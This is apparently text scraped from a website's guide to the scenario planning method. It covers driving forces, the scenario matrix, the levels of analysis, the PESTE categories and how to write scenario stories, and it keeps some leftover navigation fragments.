Nobody can predict, therefore one should not try. The only relevant discussions about the future are those where we succeed from shifting from the question whether some-thing will happen to the question What do we do if it happens? (A. de Geus)


Note Scenarios are not predictions of the future.


The scenario method is based on the assumption that the future is unpredictable.


In order to prepare for future possibilities it is necessary to consider uncertainties and make them part of your reasoning. This is in contrast with forecasts, which aim at finding the right future. Forecasts neglect uncertainty and thus often fail when they are needed most, namely when sudden unforeseen changes occur.


The world around us in infinitely complex. The scenario method aims at structurally incorporating uncertainty in our thinking, through the reduction of complexity to manageable proportions without ignoring alternatives by oversimplifying it. Using the form of stories to develop a number of consistent pathways into the future does this.


Scenarios are made in order to increase understanding of current options in the light of possible futures. (P.M. Schütte)


How do you do it?


Why and What?


Before you start, you will have to ask yourself a number of questions. The most important of which is


·Why do I/we want to make scenarios?


·What do I/we hope to achieve with it? [Finding a balance between content & process]


·What are the objectives


·Who is the self in relation to which we are composing scenarios?


Once you've answered these questions, you will have to think about the design of your scenario project. Who to involve, etc. Once you have done this, too. It's time to get going.


Rules of Thumb


First of all, there are a three 'rules of thumb' to which scenarios must conform they must be relevant, novel and substantial.


Scope


Scenarios focus mainly on the 'contextual' environment , a number of categories have been distinguished to which cover most of what is going on in the world, as a guidance for your research. Furthermore, scenarios deal with possible futures, and not with probable or desirable ones.


Horizons


Scenario horizon


Before you start you should determine a horizon year, in which your scenarios take place. You usually try to put the horizon year as far away as possible. It should not be so far away, that it is virtually impossible to say anything sensible about what could happen. In other words, we are not writing science fiction. On the other hand, in order to stretch the mind and include some 'out of the box' thinking, one should get out of the 'comfort zone' (period of time, about which we feel confident as to what will most probably happen). Therefore it is necessary to go as far into the future as you can.


Strategy horizon


If you are going to develop strategic options by using scenario thinking, you should also determine a strategic horizon year. This is usually not so far ahead. Strategy focuses on concrete actions you can take in the near future. You will have to evaluate and revise your strategy frequently to check whether you are still on the right track.


Research research_proc.htm


Every scenario project starts by doing research. Naturally, the amount and scope of which will depend on your time and resources.


Scenario building blocks


The future consists of predetermined elements and uncertainties. Also called driving forces.


Scenario Framework


Once you have gathered al your data and transformed them into clusters, you create a Scenario structuring space. In this space you place all the clusters according to impact and predictable outcome. Once you have done this you consider the driving forces in the outmost corner bottom right and infer two main driving forces, which are independent of each other, to form the axes of the scenario matrix.


It is very important that the driving forces on the axes are as independent as possible of each other. The axes form the framework in which your scenarios will take place. They should leave as much space as possible to contain developments without becoming hollow phrases. If they are dependent on each other you will actually have only one axe of the matrix covered, since a development on the one will have a consequence for developments on the other.


Following this you will have to determine the extreme outcomes of each axe.


And finally you should come up with a name for each of the four scenarios. A good name for a scenario is very important. It should be a concept or a short sentence, which is easy to remember and captures the content of the scenario. (Convergence)


Creating the story


Summarising Scheme for scenario construction


New insights


Revised scenarios


GO TO THE FORUM


Finding a balance between Content & Process


Scenarios can help with


·Surmounting blind spots


·Understanding whats happening around you


·Articulating important questions


·Increasing awareness of insufficient connection


·Clarifying strategic options


·Articulating strategy


·Solving problems


·Directing mental models towards action


Some Rules of Thumb for Effective Scenarios


Relevant


·Illuminate current issues


·Respond to certain circumstances


·Link to current mental models (link naar mental models pagina)


Novel


·Contain new ideas or perceived old ideas


·Challenge existing mental models and strategies


·Provide fresh perspectives


Substantial


·Improve understanding of the present


·Be well researched


·Be internally consisten


Scope I


The scenario method distinguishes three levels of analysis the self, the transactional environment and the factual environment.


Click here for an example of a Corporation as the self.


The first level of analysis is the self. This is the starting point from which you look into future. The basic question here is How will possible future events influence the self? The self can be you as a person, an organisation, a village, a family, or even a nation state. The self is the level in which you have most direct influence in comparison to the other levels.


The second level; the transactional environment (link naar transactional environment) is the environment directly surrounding and interacting with the self. In case the self is you as a person, then your family and friends would be part of the transactional environment. When the self is a village, then the region and nation state, of which that village is part, will be placed in the transactional environment. In the case of a company as the self, the transactional environment will be formed by all the stakeholders of that company, such as shareholders, clients, suppliers and so on. At this level elements can still influence each other, but less so and often more indirectly than on the level of the self. This is the level of actors.


The third level is the contextual environment. This level contains the rest of the world which influences the self, but which the self cannot influence very easily or at all (in case of the weather for instance). At this level the world presents itself as facts to the self, since it can do little to change it. It is the context in which we live. This context might include technological developments, such as the spread of Internet. Furthermore, this level contains larger and often slowly changing structures in society, such as ecological changes, the development of nation states or the capitalist system on which most of the worlds economies are based. This is the level of factors.


Note Scenarios are stories about the third level. They explore the world around us as it presents itself to us and influences our scope of action. By using scenarios to make sense of this world you try to look from the outside to the inside. In other words, the movement of thought goes from a broad view of the context to a more focused view of the self.


Scope II


Another way of categorising the scope we deal with using scenarios is


PESTE


Which stands for the


·Political environment


·Economical environment


·Social environment


·Technological environment


·Ecological environment


By exploring important developments in all these categories you will be able to cover a large part of what is going on in the world. Of course these categories are not so neatly divided as they seem to be in this model. Most developments can be placed in two or more categories. Most importantly, these categories are interconnected and interactive. It is this dynamic relationship, which offers useful information. The scenario method tries to capture the complex dynamics of these interactions in the scenario stories.


Scope III


Yet another way of categorising the scope of scenarios concerns


POSSIBLE, PROBABLE & DESIREABLE Futures


Scenarios deal with POSSIBLE futures. If you want to find out about the PROBABILITY of certain future developments you will have to use other methods of analysis. The reason scenarios deal with POSSIBLE futures instead of PROBABLE ones is because the scenario method aims at thinking structurally about uncertainties. In order to be able to do so, it is important to take into account as many possibilities as you can. Therewith developing a feel for the complexity of the world around you. By looking for PROBABILITIES youll have to give priority to a number of possibilities, therewith reducing the number of uncertainties. Basically, using the scenario method is diametrically opposed to searching for PROBABLE futures, which you do using forecasting methods.


Note Because, the human mind can handle only a number of possibilities at the same time, the scenario method prescribes the creation of three or mostly four scenarios. The stories should structurally differ from each other in terms of content. This is the reason why it is not advisable to create two scenarios, because they will tend to become opposites of the same spectrum. For example, in one scenario all will go well, and in the other all will go wrong. You end up with an Utopia and a Worse case scenario. Even when writing three scenarios one should be careful to avoid Utopia, Worst case & The Avarage between them.


The Research process


Focus


The research process, with which each scenario study starts, aims at an analysis of the present and the past. This analysis focuses on


·Speed of change


·Cause and effect and other relations


·Driving forces


·What's already in the pipeline?


·What can still be influenced, or what is uncertain?


Mental Models


Mental models refer to our perceptions of the world. Our 'image of reality'. Scenario's aim to stretch these mental models. In order to do so, a self-reflecting attitude is very important throughout the scenario process.


Brainstorming and Clustering ideas


In the scenario research process you will have to look for driving forces forces which propel change in the world. In order to find these driving forces it is useful to start with a brainstorm. You don't want to overlook things thus you try to get as many ideas on the table as possible (divergence). Because too many loose ideas are unworkable the next step will be to group ideas in clusters by combining them into a smaller number of broader concepts, which can be related to each other (convergence). While forming and studying these clusters, you should be able to detect the driving forces of the system you are dealing with.


Interviews


A good way of gathering information and ideas is interviewing people. Try to interview people from diverse backgrounds, whom are related to the area of the issue concerned. (divergence)


After you have been through the whole process of creating scenarios, it is usually a good idea to invite some interesting people over to get their opinion on the subject. You can digest their reaction into the scenarios to enrich them.


Scenario Building Blocks


Driving Forces. Predetermined Elements & Critical Uncertainties


In the research process you will have to look for driving forces forces which propel change in the world. In order to find these driving forces it is useful to cluster ideas and combine them into a smaller number of broader concepts, which can be related to each other. While forming and studying these clusters, you should be able to detect the driving forces of the system you are dealing with.


Kees van der Heijden defines a driving force as 'a variable which has a relatively high level of explanatory power in relation to the data displayed in the cluster.' Driving forces can be placed in a continuum from predetermined elements to critical uncertainties. They are usually outside our direct personal control. A number of examples of driving forces are political or economical trends, technological developments or large-scale environmental degradation. (scope I and scope II) It is very important to recognise and understand the driving forces and the impact they have on the question you are dealing with.


Both predetermined elements and critical uncertainties are closely related. Initial uncertainty is not the same as indeterminacy; understanding of underlying structures can contain uncertainty. Furthermore, by questioning assumptions about perceived predetermined elements they might turn out not to be as predetermined as they seemed and the other way around. This process of questioning might lead you to change your 'mental map' of reality. Or at least, your will be able to consider your actions in advance for, when something you never thought would happen, does occur.


Driving forces are the building blocks of scenarios. They help to structure the exploration of the future.


Scenario Building Process


Creating the story


A SCENARIO IS


AN ARCHETYPE OF THE PAST


+


AN INTERPRETATION OF THE PRESENT


+


AN INTERNALLY CONSISTENT STORY DESCRIBING A ROAD FROM THE PRESENT TO A FUTURE.


In order to write a scenario, as described above, you need the following elements


·Driving forces or 'scenario building blocks' Behaviour over time from key variables


·An end-situation This is a description of what the future will look like in the horizon year. It is the end of the story.


·A key event This is an event or happening, which gives impetus to the story. The key event gives a major impulse to the changes, which are about to take place in the scenario. Key events mark the beginning of a process or a change of direction; therefore, it is useful to start the scenario with a key event.


·The plot or storyline(s) This is the internally consistent development from the present to the future.


Directing mental models towards action


What is


Scenario Planning?


Scenarios are specially constructed stories about the future. Each scenario represents a distinct, plausible world. The purpose of scenario planning is not to predict the future; but rather, to show how different forces can manipulate the future in different directions. It is very important to realize this, for this procedure helps to identify these forces if and when they happen. The utility of scenario planning lies in its ability to anticipate the future. When this is accomplished, the ability to better respond to future events is increased.


How to write scenarios...


First, we needed identify the focal issue or decision. Of course, we could simply tell stories of what we think may happen in the future, but our task was to narrow the scenarios down to a specific issue. Only then could we build, expand, and learn from our scenarios, enabling us to make better decisions. We found that sometimes the questions can be quite broad (e.g. What will be the future of technology in banking?) or quite specific (e.g. How will technology change and reshape the physical structure of present-day financial institutions?).


We then had to identify the primary driving forces of today to predict the events of tomorrow. These forces are detailed in the sidebar to the left. Scenarios are not necessarily good or bad; they are, in fact, a potpourri of circumstances and events.


It [scenario planning] can prepare us in the same way that it prepares corporate executives it helps us understand the uncertainties that lie before us, and what they might mean. It helps us rehearse our responses to those possible futures. And it helps us spot them as they begin to unfold. (Wilkinson, Scenarios Special Wired Edition, January 16 )



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